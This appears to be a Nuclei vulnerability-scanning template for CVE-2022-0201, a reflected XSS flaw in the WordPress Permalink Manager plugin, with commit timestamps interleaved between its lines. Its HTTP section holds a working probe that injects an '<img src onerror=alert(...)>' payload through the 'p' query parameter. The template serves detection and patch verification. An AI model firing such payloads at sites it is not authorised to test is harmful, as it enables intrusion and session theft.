2022-05-05 17:02:43 +00:00
id : CVE-2022-0201
info :
2022-09-10 01:55:52 +00:00
name : WordPress Permalink Manager <2.2.15 - Cross-Site Scripting
2022-05-05 17:02:43 +00:00
author : Akincibor
2022-09-10 02:12:57 +00:00
severity : medium
2022-09-10 01:55:52 +00:00
description : |
WordPress Permalink Manager Lite and Pro plugins before 2.2.15 contain a reflected cross-site scripting vulnerability. They do not sanitize and escape query parameters before outputting them back in the debug page.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
2023-09-06 11:59:08 +00:00
remediation : |
Update to WordPress Permalink Manager version 2.2.15 or later to mitigate the vulnerability.
2022-05-05 17:02:43 +00:00
reference :
- https://wpscan.com/vulnerability/f274b0d8-74bf-43de-9051-29ce36d78ad4
2022-05-17 09:18:12 +00:00
- https://plugins.trac.wordpress.org/changeset/2656512
2022-05-05 17:04:21 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-05-17 09:18:12 +00:00
cvss-score : 6.1
2022-05-05 17:04:21 +00:00
cve-id : CVE-2022-0201
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.001
2023-12-12 11:07:52 +00:00
epss-percentile : 0.40761
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:permalink_manager_lite_project:permalink_manager_lite:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : permalink_manager_lite_project
product : permalink_manager_lite
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-12-05 09:50:33 +00:00
tags : wp-plugin,wpscan,cve,cve2022,xss,wordpress,permalink_manager_lite_project
2022-05-05 17:02:43 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-05 17:02:43 +00:00
- method : GET
path :
- '{{BaseURL}}/index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1'
matchers-condition : and
matchers :
- type : word
part : body
words :
- '<img src onerror=alert(/XSS/)>'
- 'pm_query'
condition : and
- type : word
part : header
words :
2022-09-10 01:55:52 +00:00
- text/html
2023-12-29 09:30:44 +00:00
# digest: 4a0a00473045022100bcfee300895b86e8f11074dbeb93454377bc5fff70e6e9a1f80f30d07929519c02205d2d016fc3114efd16a1f77fa178f46fab290cc24fe01e2d3b105a58e593532d:922c64590222798bb761d5b6d8e72950